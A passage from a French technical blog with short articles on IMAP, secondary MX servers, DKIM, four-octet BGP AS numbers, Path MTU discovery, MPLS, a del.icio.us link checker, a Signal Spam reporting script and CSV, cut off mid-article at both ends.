com11 FETCH 1 (BODY.PEEK[HEADER.FIELDS (SUBJECT)])
* 1 FETCH (BODY[HEADER.FIELDS (Subject)] {17}
Subject: Rapport sur les fonctions de vue dans Archiveopteryx

)
com11 OK done

IMAP est mis en œuvre dans de nombreux serveurs comme Dovecot, Courier, ou Archiveopteryx, déja cité.

Côté client, on trouve du IMAP dans beaucoup de logiciels, des webmails comme SquirrelMail, des MUA classiques comme mutt, des MUA en ligne de commande comme fetchmail, très pratique pour récupérer son courrier.

Il existe également des bibliothèques toutes faites pour programmer son client IMAP à son goût comme imaplib pour Python. Voici un exemple d'un court programme Python qui se connecte à un serveur IMAP, sélectionne les messages d'avril 2007 et les récupère. On note que la bibliothèque a choisi de rester très proche du vocabulaire du RFC :

import imaplib

connection = imaplib.IMAP4()
connection.login("stephane", "thisissecret")
connection.select() # Select the default mailbox
typee, data = connection.search(None,
                                '(since "1-Apr-2007")', 
                                '(before "1-May-2007")')
for num in data[0].split():
    # Fetches the whole message
    typ, data = connection.fetch(num, '(RFC822)')
    print 'Message %s\n%s\n' % (num, data[0][1])
connection.close()
connection.logout()

Téléchargez le RFC 3501


L'article seul

Un MX secondaire est-il vraiment utile ?

Première rédaction de cet article le 27 mai 2007
Dernière mise à jour le 2 juin 2007


On voit souvent des administrateurs de serveurs de messagerie demander des conseils sur la configuration d'un serveur de secours, un MX secondaire. Est-ce vraiment utile ?

Pour la grande majorité des sites, non, un MX secondaire ne sert pas à grand'chose et présente des risques, notamment en terme de lutte anti-spam.

En effet, le courrier électronique n'est pas le Web. Il est asynchrone et peu pressé. En cas de panne du serveur de messagerie, les autres serveurs qui tentent de lui envoyer du courrier feront comme les MTA ont toujours fait depuis l'aube des temps : ils attendront et réessaieront (la plupart du temps, pendant cinq jours, la durée maximum configurée par défaut dans sendmail et Postfix).

Il n'y a donc aucun risque de perte du courrier si le serveur de messagerie est coupé ou bien injoignable pendant quelques jours.

En revanche, le serveur de secours, le MX secondaire (du nom des enregistrements MX du DNS) présente des pièges, notamment en ce qui concerne les règles anti-spam. Par exemple, les listes noires ne servent à rien si on a un MX secondaire (les spammeurs se connectent souvent au MX de plus basse priorité, comptant, en général à juste titre, qu'il est moins protégé). À moins que le MX secondaire soit configuré avec exactement les mêmes règles anti-spam que le serveur principal (ce qui est difficile à faire, surtout s'il est situé dans une autre organisation), il représentera le maillon faible de la résistance aux spams.

Avoir un second serveur viole surtout le principe de simplicité : deux serveurs sont plus compliqués à configurer qu'un, augmentant ainsi les probabilités de problème. C'est en général au moment où le primaire tombe en panne qu'on s'aperçoit soudain que le secondaire n'acceptait plus du courrier pour le domaine depuis des mois, sans que personne n'ait détecté ce changement de configuration.

Et si les utilisateurs réclament leur courrier immédiatement, sans délai, même si le serveur primaire est en panne ? Il faut d'abord expliquer à ces utilisateurs que le courrier, service asynchrone, n'a jamais été prévu pour cela, et leur dire que, s'ils veulent du synchrone, il y a le téléphone ou Jabber. (Amavis est, par exemple, un bon moyen de retarder le courrier, souvent de plusieurs heures.) Ensuite, il faut noter qu'il ne suffit pas d'un MX secondaire pour avoir une délivrance rapide même en cas de panne du primaire. Il faut aussi que ce MX secondaire puisse délivrer directement dans les boîtes aux lettres. Cela implique en général qu'il soit sur le même site que le primaire, augmentant ainsi la probabilité qu'il tombe en panne en même temps, victime de la même pelleteuse.

D'autres regretteront que, en cas de panne du primaire, les expéditeurs distants peuvent voir qu'on est en panne, avec la commande mailq sur leur serveur de messagerie Postfix. Mais peu d'expéditeurs suivent ainsi le cheminement de leur courrier, comme si c'était un colis envoyé par FedEx. En revanche, c'est vrai que les bêtes messages de retard qu'envoient certains serveurs à leurs utilisateurs « Your message was not delivered yet, we continue to try, you have nothing to do » peuvent perturber leur lecteur, qui ne le comprend pratiquement jamais (et qu'il interprète parfois de façon farfelue). À une époque, c'était le comportement par défaut de sendmail.

Un autre cas où il peut-être utile d'avoir plusieurs MX est celui où on tient absolument à garder trace des messages, en les laissant rentrer sur une machine qu'on contrôle, même si on le les délivre pas tout de suite dans les boîtes aux lettres. C'est dangereux, car, en acceptant les messages, on accepte aussi une responsabilité. Il faut être sûr de pouvoir les traiter un jour.

Mais, diront enfin certains, Gmail ou Yahoo ont plusieurs serveurs, comme on peut le voir avec un dig MX gmail.com. Ma réponse est que, si vous êtes responsable du courrier de Gmail, vous n'allez probablement pas chercher des conseils sur ce blog. Mais, pour les nombreux sites qui sont nettement plus petits et moins pourvus en ressources humaines que Gmail, ces conseils de simplicité peuvent vous être utiles.

(Merci à Gilles Mocellin, Yves Rutschle, Benoit Lathière, François Tourde, Vincent Bernat et Daniel Caillibaud, pour une intéressante discussion sur la liste des utilisateurs francophones de Debian. Naturellement, les idées exprimées ici sont uniquement les miennes et patati et patata.)

Antoine cite d'autres cas où l'utilisation d'un MX secondaire est utile (à condition qu'on ait les moyens humains de le configurer correctement :

  • Le délai de cinq jours, qui est par défaut le temps d'attente maximal de la plupart des MTA peut être trop court si le seul administrateur système du site part en vacances une semaine. Le MX secondaire peut être configuré pour garder le courrier plus longtemps (peu le sont).
  • Si (c'est un gros Si) le MX secondaire permet de consulter le courrier mis en attente (ne serait-ce qu'en utilisant more sur les fichiers du spool), alors cela permet, en dépannage, de voir « le courrier du client que l'on attend maintenant tout de suite immédiatement », même quand le serveur de courrier principal est tombé.

L'article seul

RFC 4871: DomainKeys Identified Mail (DKIM) Signatures

Date de publication du RFC : Mai 2007
Auteur(s) du RFC : E. Allman (Sendmail), J. Callas (PGP Corporation), M. Delany (Yahoo), M. Libbey (Yahoo), J. Fenton (Cisco), M. Thomas (Cisco)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF dkim
Première rédaction de cet article le 24 mai 2007


Le courrier électronique, on le sait, n'offre, en natif, aucun mécanisme d'authentification des utilisateurs. Il est donc assez facile d'envoyer un courrier prétendant venir de Bill.Gates@microsoft.com. DKIM, spécifié à l'origine dans notre RFC, est la dernière tentative de combler ce manque. Ce RFC a ensuite été remplacé par le RFC 6376.

Notons d'abord que, si le courrier électronique, tel que décrit dans les RFC 5321 ou RFC 5322, ou bien leurs prédécesseurs, n'offre pas d'authentification des utilisateurs, ce n'est pas parce que leurs concepteurs étaient imprévoyants ou trop confiants dans la nature humaine. C'est tout simplement parce que le problème est très complexe, ne serait-ce que parce qu'il n'existe pas de fournisseur d'identité unique sur Internet, qui pourrait jouer le rôle que joue l'État avec les papiers d'identité.

Mais l'absence d'authentification devient de plus en plus regrettable, d'autant plus qu'elle est activement exploitée par les spammeurs et les phisheurs pour leurs entreprises malhonnêtes. Non seulement il est difficile de retrouver le véritable envoyeur d'un message, mais une personne tout à fait innocente peut voir son identité usurpée. Ces problèmes de sécurité sont documentés dans le RFC 4686.

De nombreuses tentatives ont eu lieu pour tenter de traiter ce problème. Certaines ont connu un déploiement non négligeable comme PGP (normalisé dans le RFC 4880), surtout connu pour ses services de chiffrement mais qui peut aussi servir à l'authentification.

PGP est surtout utilisé dans des environnements à forte composante technique, au sein de groupes d'experts qui se connaissent. D'autres protocoles ont tenté de traiter le problème de l'authentification de la masse d'utilisateurs de Hotmail ou de Wanadoo.

SPF (normalisé dans le RFC 4408) a été condamné par l'hostilité de la plupart des gros acteurs.

DKIM, successeur de DomainKeys de Yahoo, après sa fusion avec l'IIM de Cisco, vient d'atteindre le statut de norme à l'IETF après de nombreux rebondissements. Comme SPF, il vise surtout à authentifier le domaine dans l'adresse électronique, en d'autres termes à garantir que le courrier vient bien de microsoft.com, laissant à Microsoft le soin de dire si la partie gauche (Bill.Gates) est authentique ou pas.

Mais, contrairement à SPF, il ne procède pas par énumération des adresses IP des MTA autorisés à émettre du courrier pour le compte d'un domaine mais par signature cryptographique.

Le principe de DKIM est le suivant (les exemples sont tirés de l'excellente annexe A du RFC). Un message émis ressemble à :

   From: Joe SixPack <joe@football.example.com>
   To: Suzie Q <suzie@shopping.example.net>
   Subject: Is dinner ready?
   Date: Fri, 11 Jul 2003 21:00:37 -0700 (PDT)
   Message-ID: <20030712040037.46341.5F8J@football.example.com>

   Hi.

   We lost the game. Are you hungry yet?

   Joe.

DKIM (qui peut être installé dans le MUA mais sera en général plutôt dans le MSA) le signe et ajoute un en-tête DKIM-Signature :

   DKIM-Signature: v=1; a=rsa-sha256; s=brisbane; d=example.com;
         c=simple/simple; q=dns/txt; i=joe@football.example.com;
         h=Received : From : To : Subject : Date : Message-ID;
         bh=2jUSOH9NhtVGCQWNr9BrIAPreKQjO6Sn7XIkfJVOzv8=;
         b=AuUoFEfDxTDkHlLXSZEpZj79LICEps6eda7W3deTVFOk4yAUoqOB
           4nujc7YopdG5dWLSdNg6xNAZpOPr+kHxt1IrE+NahM6L/LbvaHut
           KVdkLLkpVaVVQPzeRDI009SO2Il5Lu7rDNH6mZckBdrIx0orEtZV
           4bmp/YzhwvcubU4=;
   Received: from client1.football.example.com  [192.0.2.1]
         by submitserver.example.com with SUBMISSION;
         Fri, 11 Jul 2003 21:01:54 -0700 (PDT)
   From: Joe SixPack <joe@football.example.com>
   To: Suzie Q <suzie@shopping.example.net>
   Subject: Is dinner ready?
   Date: Fri, 11 Jul 2003 21:00:37 -0700 (PDT)
   Message-ID: <20030712040037.46341.5F8J@football.example.com>

   Hi.

   We lost the game. Are you hungry yet?

   Joe.

L'en-tête en question spécifie l'algorithme de chiffrement utilisé (ici SHA-256 et RSA), le domaine signant (ici example.com), un sélecteur (ici brisbane) qui servira à sélectionner la bonne clé, les en-têtes effectivement signés (ici Received : From : To : Subject : Date : Message-ID), la signature elle-même et l'identité de l'émetteur (ici joe@football.example.com). (La différence entre le domaine, identifié par d= et l'« identité » indiquée par i= est subtile et a dû faire l'objet d'une mise à jour, dans le RFC 5672, mise à jour qui a depuis été intégrée dans la nouvelle norme DKIM, le RFC 6376.)

L'identité est indiquée dans la signature pour éviter les longs débats sur l'identité la plus pertinente parmi toutes celles présentes dans un message (cf. le RFC 4407 pour un des exemples d'algorithme qui croit naïvement qu'il existe une et une seule bonne identité). Notre RFC note que le MUA doit en tenir compte et doit afficher l'adresse qui est authentifiée, pas seulement celle qui se trouve dans le champ From et qui peut être différente.

Le programme qui veut vérifier la signature (en général un MTA mais cela peut être le MUA) va devoir récupérer la clé de signature. DKIM ne souhaitant pas dépendre des lourdes et chères autorités de certification, la clé est récupérée via le DNS (d'autres méthodes sont en cours de normalisation). Pour le message ci-dessus, la requête DNS sera brisbane._domainkey.example.com et un enregistrement DNS de type TXT contiendra la clé. Pour voir une clé réelle, vous pouvez taper dig TXT beta._domainkey.gmail.com..

Un des problèmes difficiles en cryptographie est que les messages sont souvent modifiés en cours de route. Par exemple, un logiciel imposé par le direction de l'entreprise va ajouter automatiquement un stupide message pseudo-légal comme « Ce message e-mail et les pièces jointes sont transmis à l'intention exclusive de ses destinataires et sont confidentiels et/ou soumis au secret professionnel. Si vous recevez ce message par erreur, merci de le détruire et d'en avertir immédiatement l'expéditeur par téléphone ou par mail. Toute utilisation de ce message non conforme à sa destination, toute diffusion ou toute publication, totale ou partielle, est interdite, sauf autorisation. L'intégrité de ce message n'étant pas assurée sur Internet, nous ne pouvons être tenu responsables de son contenu. » (notons que le dernier point devient faux avec DKIM). Ou bien une liste de diffusion va mettre des instructions de désabonnement. DKIM traite ces problèmes avec deux méthodes : une canonicalisation (section 3.4 du RFC) du message (plusieurs algorithmes sont disponibles) pour limiter les risques qu'une modification triviale ne fausse le calcul de la signature et l'option l= qui permet d'indiquer sur quelle distance le message est signé. Si on indique l=1000, seuls les mille premiers octets seront signés et une liste pourra ajouter un message automatiquement à la fin, cela n'invalidera pas la signature.

Malheureusement, DKIM encourage également (section 5.3) à remplacer les caractères codés sur 8 bits (comme l'UTF-8 ou le Latin-1) par des horreurs comme le Quoted-Printable, pour limiter les risques qu'une conversion automatique en Quoted-Printable, comme le font certains MTA, n'invalide la signature. Des années d'efforts pour faire passer les caractères 8-bits dans le courrier sont ainsi négligés.

Parmi les limites de DKIM (qui sont celles de beaucoup de solutions de sécurité, un domaine complexe où il faut faire beaucoup de compromis), il faut aussi se rappeler qu'un attaquant actif peut tout simplement retirer complètement une signature. Tant que les domaines ne publient pas leur politique de sécurité (en suivant le RFC 5617) et donc annoncent « Nous signons toujours », cette attaque passera inaperçue.

Aujourd'hui, tous les messages sortant de Gmail sont signés avec DKIM et des implémentations de DKIM existent pour plusieurs logiciels (comme le DKIM milter de sendmail). Mais peu de domaines vérifient les signatures.

Enfin, notons que DKIM est une technologie d'authentification, pas d'autorisation. Cette distinction est cruciale. DKIM peut prouver que le message vient bien de Nicolas.Sarkozy@elysee.fr, il ne peut pas dire si la personne en question est digne de confiance ou si elle va réellement se préoccuper de « la France qui se lève tôt ».


Téléchargez le RFC 4871


L'article seul

RFC 4893: BGP Support for Four-octet AS Number Space

Date de publication du RFC : Mai 2007
Auteur(s) du RFC : Q. Vohra (Juniper), E. Chen (Cisco)
Chemin des normes
Première rédaction de cet article le 22 mai 2007


Un des nombres trop petits de l'Internet était la taille des numéros de système autonome. Elle passe, avec ce RFC, de deux à quatre octets. (Il a depuis été remplacé par le RFC 6793.)

Il est assez courant dans l'Internet que des nombres prévus très larges au début s'avèrent ridiculement petits avec la croissance du réseau. C'est bien sûr le cas des adresses IPv4, dont les 32 bits sont bien trop peu pour le nombre de machines connectées aujourd'hui, mais c'est aussi vrai pour les numéros de système autonome (AS pour autonomous system). Chacun de ces numéros identifie un système autonome de routage, au sein duquel une politique de routage cohérente peut s'appliquer. En gros, chaque opérateur a un numéro de système autonome, les plus gros en ayant plusieurs (surtout en cas de fusion ou d'acquisition).

Ces numéros sont notamment utilisés par le protocole de routage BGP (normalisé dans le RFC 4271), pour indiquer le chemin à suivre pour joindre un réseau. La petite fonction shell bgproute permet d'interroger les serveurs de Route Views et affiche les numéros de système autonomes traversés :

% bgproute 80.67.162.1
AS path: 3257 3356 20766 20766
Route: 80.67.160.0/19

On voit que le serveur de Route Views a reçu l'annonce de la part du système autonome 3257 qui l'avait lui même reçu du système autonome 3356.

Ces numéros étaient stockés sur seulement 16 bits, ce qui ne permettait que 65 535 systèmes en tout, bien trop peu pour l'Internet d'aujourd'hui, qui va des villes chinoises aux hébergeurs brésiliens. Si certains conservateurs, méprisants et élitistes, ont regretté le fait que « n'importe qui, avec une armoire et deux PC avec Quagga » veuille faire du BGP, le fait est que l'Internet touche bien plus de monde et que la population des opérateurs a augmenté. D'où notre RFC, qui fait passer la taille des numéros d'AS à 32 bits, soit quatre milliards d'opérateurs possibles.

Ces nouveaux AS s'écriront en notation ASPLAIN, en écrivant directement le nombre, par exemple 112617 (RFC 5396).

Le changement lui-même est assez trivial mais, comme souvent sur Internet, le gros du travail (et qui prend la plus grande partie de notre RFC) était la gestion de la transition. Notre RFC explique avec beaucoup de soin comment un routeur BGP récent va pouvoir parler à un routeur de l'ancienne génération et comment les chemins d'AS 4-octets pourront être transmis même à travers des « vieux » routeurs, utilisant un mécanisme de tunnel (l'article de Geoff Huston l'explique très bien).

Pour cette transition, le nouveau BGP utilise un numéro d'AS spécial, le 23456, qui sert à représenter tous les AS 4-octets pour les anciens routeurs. Si vous voyez apparaitre ce système autonome, par exemple en tapant un show ip bgp sur un Cisco, c'est que votre logiciel est trop vieux.

La publication de notre RFC ne fait qu'entériner un changement déjà bien entamé ; cela fait plusieurs mois que les RIR allouaient des numéros sur quatre octets (voir par exemple la politique du RIPE-NCC). Depuis, la norme technique a été mise à jour dans le RFC 6793.

Ainsi, le système autonome 196613 est utilisé depuis plusieurs mois pour des tests. Le routeur de Route Views étant de la vieille génération, le préfixe 145.125.0.0/20, annoncé par l'AS 196613, est vu comme émanant du célèbre 23456 :

% bgproute 145.125.0.1   
AS path: 14608 19029 3356 3549 1103 1125 23456
Route: 145.125.0.0/20

Un petit regret personnel : l'encodage des paquets BGP étant insuffisamment robuste, rien n'indique à un programme qui analyse une session BGP (par exemple Wireshark) que la session utilise des numéros à quatre octets et on ne peut donc pas analyser une session si on n'a pas vu l'échange initial, où s'est décidé de coder les numéros d'AS sur deux ou quatre octets. Comme les sessions BGP durent souvent des semaines, cela peut être un problème gênant.


Téléchargez le RFC 4893


L'article seul

RFC 1191: Path MTU discovery

Date de publication du RFC : Novembre 1990
Auteur(s) du RFC : Jeffrey Mogul (Digital Equipment Corporation (DEC) , Western Research Laboratory), Steve Deering (Xerox Palo Alto Research Center)
Statut inconnu, probablement trop ancien
Première rédaction de cet article le 20 mai 2007


Ce RFC fut le premier à proposer une méthode pour déterminer la MTU disponible entre deux nœuds de l'Internet.

Une telle détermination sert à beaucoup de choses mais notamment à éviter la fragmentation en envoyant des paquets qui pourront arriver à destination « tels quels ». La fragmentation réduisant le débit, il est souhaitable de l'éviter dès le début. On peut lire à ce sujet Raising the Internet MTU qui décrit en détail pourquoi il serait bon d'augmenter les MTU. (Et, pour un point de vue plus sceptique, l'excellent article de Simon Leinen).

En attendant, qu'elle que soit la MTU, il est préférable de la déterminer dès la source des paquets, plutôt que de compter sur les routeurs ultérieurs pour fragmenter (en IPv6, c'est même obligatoire, les routeurs n'ayant pas le droit de fragmenter).

L'algorithme proposé par notre RFC est le suivant : envoyer des paquets avec le bit DF (Don't fragment) mis et voir si on reçoit des paquets ICMP Datagram too big qui contiennent en général la MTU maximale du lien suivant. Voici, vu par tcpdump, un de ces paquets ICMP, indiquant que le lien suivant ne peut faire passer que 1492 octets d'un coup :

11:10:23.474673 IP 172.19.1.1 > 172.19.1.2: icmp 556: 192.134.4.69 unreachable - need to frag (mtu 1492)

On recommence avec la nouvelle taille jusqu'à ce que le paquet atteigne sa destination. On apprend ainsi la MTU maximale du lien (c'est la plus petite MTU de tous les liens intermédiaires) et on peut ensuite utiliser des paquets de la taille optimale.

Sur le papier, la méthode est imparable. Mais, en pratique, il est fréquent qu'elle ne marche pas. Beaucoup de sites, en effet, filtrent stupidement tous les paquets ICMP et la machine qui tente de faire de la Path MTU discovery n'aura jamais de réponse.

Aujourd'hui, on doit donc plutôt utiliser des bricolages comme le MSS clamping qui consiste à modifier sauvagement la MSS des paquets TCP. Le clamping est décrit par exemple en http://www.netbsd.org/Documentation/network/pppoe/#clamping, pour NetBSD. Avec Linux, on peut utiliser la technique décrite en http://www.linux.com/howtos/Adv-Routing-HOWTO/lartc.cookbook.mtu-mss.shtml ou bien l'option -m du programme pppoe. Par exemple, pour ma connexion ADSL, mon fichier /etc/ppp/peers/monFAI contient pppoe -I eth1 -T 80 -m 1412 pour « clamper » le MSS de TCP à 1412 octets.

Le MSS clamping ne fonctionne qu'avec TCP. Une autre solution, sur un réseau local qui ne peut pas faire sortir des paquets de 1500 octets (par exemple car il est connecté à Internet avec PPPoE) est de changer la MTU sur toutes les machines du réseau (commande ifconfig sur Unix).

Mais une autre approche est possible depuis peu : le RFC 4821 décrit un moyen de découvrir la MTU maximale sans dépendre des paquets ICMP. Il reste donc à voir s'il sera largement déployé.


Téléchargez le RFC 1191


L'article seul

RFC 3032: MPLS Label Stack Encoding

Date de publication du RFC : Janvier 2001
Auteur(s) du RFC : E. Rosen (Cisco Systems), D. Tappan (Cisco Systems), G. Fedorkow (Cisco Systems), Y. Rekhter (Juniper Networks), D. Farinacci (Procket Networks), T. Li (Procket Networks), A. Conta (TranSwitch)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF mpls
Première rédaction de cet article le 19 mai 2007


Ce RFC complète le RFC 3031 sur MPLS en spécifiant l'encodage des labels sur le câble.

Le RFC 3031, qui a introduit le nouveau protocole MPLS restait dans les généralités sur la façon exacte dont les labels étaient encodés. Notre RFC le complète sur ce point. Un label fait donc 32 bits, dont 20 pour sa valeur, celle qui est affichée par certains traceroute.

La section 2.1 détaille concrètement le format et les valeurs spéciales comme 0 (IPv4 Explicit NULL Label qui, en bas d'une pile de labels, indique qu'on est arrivé à la fin du nuage MPLS et que le routage IP « normal » doit reprendre.

La section 2.2 couvre un problème plus délicat : déterminer le protocole de couche 3 transporté, lorsqu'on doit prendre une décision basée sur ce protocole. Rien dans le label MPLS n'indique ce protocole (contrairement à Ethernet où un champ de l'en-tête indique le protocole transporté, 0x0800 indique IPv4 et 0x86DD indique IPv6). Il faut donc pouvoir le déterminer en examinant le paquet (distinguer IPv4 et IPv6 de la sorte est facile, il suffit de regarder les quatre premiers bits du paquet, qui indiquent la version) ou par une autre méthode externe au paquet.

La section 2.3 couvre un autre cas compliqué : générer un paquet ICMP si nécessaire. Si un LSR (un routeur MPLS) doit transmettre un paquet IP mais que, pour une raison ou une autre, il ne le peut pas, il est censé transmettre un paquet ICMP à la source. Cela n'est pas possible à partir des informations MPLS seules. Et ce n'est pas toujours facile puisque le LSR n'a pas toujours de moyen de joindre la source en IP (par exemple si des adresses IP privées sont « tunnelées » dans un nuage MPLS public). Notre RFC détaille donc les méthodes possibles et les précautions à prendre.


Téléchargez le RFC 3032


L'article seul

disastrous, a del.icio.us link checker

First publication of this article on 17 May 2007
Last update on of 4 March 2008


I just wrote and published yet another del.icio.us link checker.

A feature often requested by del.icio.us users is the ability to check periodically the links they bookmark to detect the broken ones (domains which disappeared, files that were moved or removed, etc). Although, in theory, Cool URIs don't change, in practice, it is not always the case.

The best place to put such a link checker are certainly inside del.icio.us itself. It could use the Yahoo Web crawlers to do so, since del.icio.us is now a subsidiary of Yahoo. But such a service does not exist yet, may be because the two systems are not actually merged.

So, in the mean time, several link checkers have been written (see the del.icio.us list or at the end of this article). What is the point of a new one, my disastrous program?

  • free software ("free as in free speech, not free as in free beer"): source code available and you can modify and redistribute it.
  • designed to be run unattended (typically from cron on an Unix machine). Several of its competitors can run only on the desktop, under the control of an human user.
  • has a memory: it stores locally the result of the tests (in a SQLite database) and declares a link broken only after N tests in a row failed (N is configurable). It would be very bad, IMHO, to declare a link broken if there was only a temporary network glitch.
  • tag the broken links. This is the most del.icio.us way to report a problem.

You can retrieve disastrous here: disastrous.py. disastrous has only been seriously tested on Unix so users of MS-Windows systems should be careful. To install disastrous, you need a Python environment, the SQLite database engine and the pysqlite Python module. The installation of these packages depend on the operating system you use so read the instructions for your system.

Then, run disastrous with the -h option to get help.

disastrous depends on a configuration file, ~/.disastrousrc on Unix (disastrous.INI in your default folder on Windows). A typical content is:

[disastrous]

# Your account at del.icio.us
name = smith
password = MySecretPassword

# The other options have sensible default values (displayed in the comment)
# but feel free to change them

# The string to use for tagging
# broken_tag = broken
# The number of tests failed in a row before we declare the link broken
# failed_tests_required = 3

# etc

Do not worry for the database, it will be created automatically the first time you run disastrous. If you want to see what's in the database, for debugging or by curiosity, you can do it from the SQL prompt, for instance:

% sqlite3 ~/.disastrous_db
SQLite version 3.5.6
Enter ".help" for instructions
sqlite> SELECT url FROM Bookmarks;
http://www.afnic.fr/
http://www.bortzmeyer.org/
...

If you run it on Unix from cron, as recommended, a possible configuration is:

30 3 * * * disastrous.py -d 2

It will run disastrous every day at 3:30 with the debug level set to 2. On MS-Windows, it can probably be run from the scheduler (Control Panel -> Performance and Maintenance -> Scheduled Tasks).

If you like SQL, the following request will find every bookmark which has been flagged as broken at least 3 times in a row:


-- Invoke with:
--  % sqlite3 ~/.disastrous_db < find-broken.sql

SELECT Tests.url, Bookmarks.valid, count(*) AS count FROM Bookmarks, Tests, 
              (SELECT url, max(date) AS m from Tests WHERE result = 1 GROUP BY url) AS Last_ok 
          WHERE Tests.url=Last_ok.url AND result = 0 AND date > Last_ok.m AND in_use=1 AND
                Tests.url=Bookmarks.url
            GROUP BY Tests.url HAVING count >= 3;

As far as I know, here are disastrous' competitors:


L'article seul

Signaler un spam à Signal Spam depuis des outils Unix typiques

Première rédaction de cet article le 15 mai 2007
Dernière mise à jour le 21 septembre 2010


Le service Signal Spam permet aux utilisateurs de signaler les spams reçus, dans l'espoir (très ténu) qu'ils soient traités par la police ou la justice. Comment utiliser ce service depuis Unix ?

Signal Spam fournit deux greffons, pour les MUA Outlook et Thunderbird. Mais j'utilise mutt voire des scripts semi-automatiques. Signal Spam n'avait pas au début d'API documentée (elle est apparue par la suite et semble avoir été supprimée après, signe très clair du manque de suite dans les idées qui affecte le gouvernement). Mais comme le greffon Thunderbird est livré avec son source Javascript, on peut l'étudier et découvrir qu'il existe une API REST en https://www.signal-spam.fr/api/signaler. Celle-ci est appelable avec le programme curl dont on ne dira jamais assez à quel point il permet de faire facilement des clients REST (cf. programmation-rest.html). Merci beaucoup à Pierre Beyssac (auteur d'un programme équivalent en Python) pour son aide au déboguage et à Vincent Lefèvre et Jean-Paul Béconne pour des remarques ultérieures.

Voici donc le programme shell. On utilise OpenSSL pour encoder en Base64 car Signal Spam ne se contente pas de l'encodage « pour cent » des URL (la documentation de l'API explique pourquoi). Le mot de passe figure dans le programme mais curl permet aussi de le mettre dans le fichier ~/.netrc. Utilisez ce script à votre guise, sous la licence que vous voulez.

#!/bin/sh

# Username & password
auth_info=moi:monmotdepasse

# Do not change anything below
# Be careful if you change the curl options. For instance, '--proxy ""' 
# is to force a direct access, without going through the proxy (the
# actual value will depend on the rules of your network, ask the
# system administrator)
if ! which openssl > /dev/null 2>&1; then
    echo "Missing openssl program" >&2
    exit 1
fi
if ! which curl > /dev/null 2>&1; then
    echo "Missing curl program" >&2
    exit 1
fi
curl_version=`curl -V | head -1 | cut -d' ' -f2- `
result=`openssl enc -base64 | curl --silent --proxy "" --request POST \
             --user-agent "signalspam.sh (http://www.bortzmeyer.org/signaler-a-signal-spam.html) curl/$curl_version" \
             --user $auth_info \
             --write-out "%{http_code}" --form message='<-' \
          https://www.signal-spam.fr/api/signaler`
if [ $result != "202" ]; then
    echo "Error $result while reporting the spam"
    exit 1
fi
exit 0

Ensuite, je configure mutt pour lancer ce programme lorsque je tape Esc-Z :

macro index,pager \ez "<enter-command>set pipe_decode=no\n<pipe-entry>signalspam.sh\n<enter-command>set pipe_decode=yes\n" "Report a spam to SignalSpam"

(Cette syntaxe nécessite mutt >= 1.5. Avec une version plus ancienne, mettez la macro "index" et la macro "pager" sur deux lignes séparées.)

Vincent Lefèvre me fait remarquer qu'il faudrait mieux sauvegarder l'ancienne valeur de pipe_decode, puis la restaurer à la fin comme expliqué dans la documentation de mutt. Mais cela semble nécessiter une version très récente de mutt et je ne l'ai pas encore fait fonctionner.

Vérifiant sur mon espace membre Signal Spam, je peux voir que les spams sont bien enregistrés. Il reste à espérer que cela servira à quelque chose. Pour l'instant, je suis très pessimiste. Depuis trois ans que le service est ouvert, les « signaleurs » n'ont eu droit à aucune information, ni statistiques (à part que « Depuis l'inauguration de ce service, près de 30 000 internautes se sont inscrits et plus de 4 millions de messages indésirables ont été ainsi transmis à Signal spam. »), ni information individualisée sur les signalements faits et leurs conséquences. Le 20 septembre 2010, le gouvernement a annoncé une nouvelle version de Signal Spam, sans qu'aucune leçon n'ait été tirée de l'échec de la précédente, et notamment sans remise en cause de cette politique de non-communication. Pour l'instant, l'outil présenté ici semble encore marcher avec le nouveau système.


L'article seul

Why the Internet only just works?

Première rédaction de cet article le 14 mai 2007


Pourquoi est-ce que l'Internet marche ? Et pourquoi se contente t-il de marcher tout juste, sans qu'on puisse l'améliorer ? Excellente question. Personne ne connait trop la réponse mais Mark Handley tente d'y voir plus clair dans un excellent article.

Cet article, Why the Internet only just works (BT Technology Journal, Vol 24, No 3, July 2006) explore les caractéristiques de l'Internet et tente de déterminer ce qui pourrait changer et ce qui a des chances de rester le même. Depuis l'ancien protocole NCP (RFC 36), l'Internet a connu beaucoup de changements mais ceux-ci ont fini par diminuer en fréquence. Désormais, estime l'auteur, l'Internet est ossifié. Peu de changements sont encore possibles.

C'est par exemple dû en partie aux coupe-feux qui examinent en détail le contenu du paquet. Normalement, un nouveau protocole de couche 4 comme SCTP (RFC 3286) devrait pouvoir être déployé facilement, les routeurs n'ayant pas à connaitre les protocoles au dessus de la couche 3. Mais, en pratique, beaucoup de coupe-feux analysent le paquet et rejettent les protocoles qu'ils ne connaissent pas. Cela rend peu vraisemblable le déploiement de nouveaux protocoles de transport.

Ces problèmes d'œuf et de poule sont très fréquents dans l'Internet d'aujourd'hui. Handley cite l'exemple de la mobilité pour laquelle la demande est faible, donc il n'y a pas de déploiement, donc la demande reste faible, etc.

Selon Mark Handley, dont il faut rappeler qu'il est un expert pointu en réseau, les changements dans l'Internet depuis CIDR en 1993 ont tous été motivés par l'urgence. On ne change que lorsque le système est tout proche de l'écroulement. Changer pour, par exemple, gagner plus d'argent ne marche pas puisque les opérateurs Internet doivent rester compatibles entre eux et ne peuvent donc pas se différencier. Ils n'investissent donc pas dans des technologies « meilleures » comme IPv6 et attendent l'approche de la tempête pour renforcer les fenêtres.

L'utilisateur ne voit pas les affreux bricolages qui permettent à l'Internet de fonctionner (comme le NAT) et comme, pour lui « l'Internet marche », les choses ne sont pas prêtes de changer, sauf survenue d'une catastrophe majeure.


L'article seul

RFC 4180: Common Format and MIME Type for Comma-Separated Values (CSV) Files

Date de publication du RFC : Octobre 2005
Auteur(s) du RFC : Y. Shafranovich (SolidMatrix Technologies)
Pour information
Première rédaction de cet article le 9 mai 2007
Dernière mise à jour le 22 août 2017


Curieusement, bien que très utilisé, le format CSV n'avait jamais fait l'objet d'une spécification officielle. Voilà qui est fait.

CSV est un format simple et cela explique donc que le RFC soit très court. Pour enregistrer le type MIME text/csv, l'IETF avait besoin d'un standard stable de CSV, qu'est notre RFC. Normaliser après coup n'est jamais facile et on trouve dans le RFC quelques perles, qui reflètent l'état de CSV dans le monde réel. Par exemple, « The last record in the file may or may not have an ending line break » ou bien « There maybe an optional header line appearing as the first line of the file ».

Le format CSV étant très simple, il est trivial de produire du CSV à partir de n'importe quelle source de données. Mais, la plupart du temps, il n'y a pas d'effort particulier à faire, beaucoup de logiciels savent déjà exporter en CSV. Par exemple, avec PostgreSQL :

